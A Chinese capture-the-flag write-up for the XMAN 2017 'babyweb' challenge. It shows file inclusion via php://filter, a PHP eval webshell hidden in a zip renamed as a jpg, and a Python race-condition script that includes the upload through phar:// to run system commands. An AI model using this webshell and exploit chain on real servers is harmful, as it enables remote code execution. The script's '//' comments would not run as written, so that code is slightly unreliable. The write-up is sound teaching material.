Chybeta

XMAN夏令营-2017-babyweb-writeup

文件上传、php伪协议、文件包含

Task

题目

1
http://202.112.51.217:8199

Solution

一个图片上传功能(submit),还有一个图片查看功能(view)。点击后可发现url是:

1
2
http://202.112.51.217:8199/index.php?page=submit
http://202.112.51.217:8199/index.php?page=view

在submit处有上传功能,对应的页面是upload.php。

猜测有包含漏洞,用php伪协议读取源码,其余类似:

1
http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-encode/resource=upload

upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg"))
{
echo "hehe";
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
//echo mime_content_type($tmpName);
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
exit;
}
else{
sleep(2);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
imagedestroy($im);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
imagedestroy($im);
}
}
unlink($rootpath);
}
}
echo "图片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
?>

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
require("header.php");
$page="";
if (isset($_GET['page']))
{
$page=strtolower($_GET['page']);
$page=str_replace("#", "", $page);
$page=str_replace("'", "", $page);
$page=$page.".php";
}
else
$page="main.php";
include($page);
?>

在upload.php中,它先将我们上传的文件保存到uploads文件夹下,然后sleep(2),接着调用imagecreatefromgif等一系列操作。如果我们上传一个包含php代码的图片木马,在经过imagecreatefromgif等一系列操作后,正常情况下其中的php代码会被去掉,也就是说操作过后的图片已经不是图片木马了。不过由于存在sleep(2),可以利用这个两秒的空隙,利用phar或者zip协议去包含我们上传的还未被删除的图片木马。

基本的流程如下。
首先有个k.php,内容如下:

1
<?php @eval($_POST['test']) ?>

将它压缩为zip文件,文件名为k.zip。

然后上传时将其文件名改为k.jpg,类型改为image/jpeg。在上传后访问http://202.112.51.217:8199/uploads/,去获取最新的文件名,然后用协议去包含。如果手动的话时间肯定会超过2s,所以需要用脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time
import threading
import re
s = requests.session()
def uploadfile():
url = 'http://202.112.51.217:8199/upload.php'
data = {'title':'1','url':'1'}
files = {'pic': ('k.jpg', open('k.zip', 'rb'), 'image/jpeg', {'Expires': '0'})}
html = s.post(url,files=files)
// get the latest filename
def getfilename():
url = 'http://202.112.51.217:8199/uploads/'
content = s.get(url).content
reg = r'href="(.+?\.jpg)"'
imgre = re.compile(reg)
imglist = re.findall(imgre,content)
return imglist[::-1]
// use phar getshell
def getshell():
filename = getfilename()
for i in filename:
url = 'http://202.112.51.217:8199/index.php?page=phar://uploads/' + i +'/k'
data = {'test':'system("ls");'}
content = s.post(url,data=data).content
if 'flag' in content:
print content
exit()
for i in range(10):
t1 = threading.Thread(target=uploadfile)
t2 = threading.Thread(target=getshell)
t1.start()
t2.start()

之后将getshell里的改为:

1
2
3
data = {'test':'system("cat xxxxxxxxxasdasf_flag.php");'}
content = s.post(url,data=data).content
if '{' in content:

因为index.php中对#进行了过滤,所以zip协议用不了。因为zip协议的利用要如下:

1
http://202.112.51.217:8199/index.php?page=phar://uploads/filename.jpg#k

Refference

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:XMAN夏令营-2017-babyweb-writeup

文章作者:chybeta

发布时间:2017年08月22日 - 17:08

最后更新:2017年08月22日 - 17:08

原始链接:http://chybeta.github.io/2017/08/22/XMAN夏令营-2017-babyweb-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。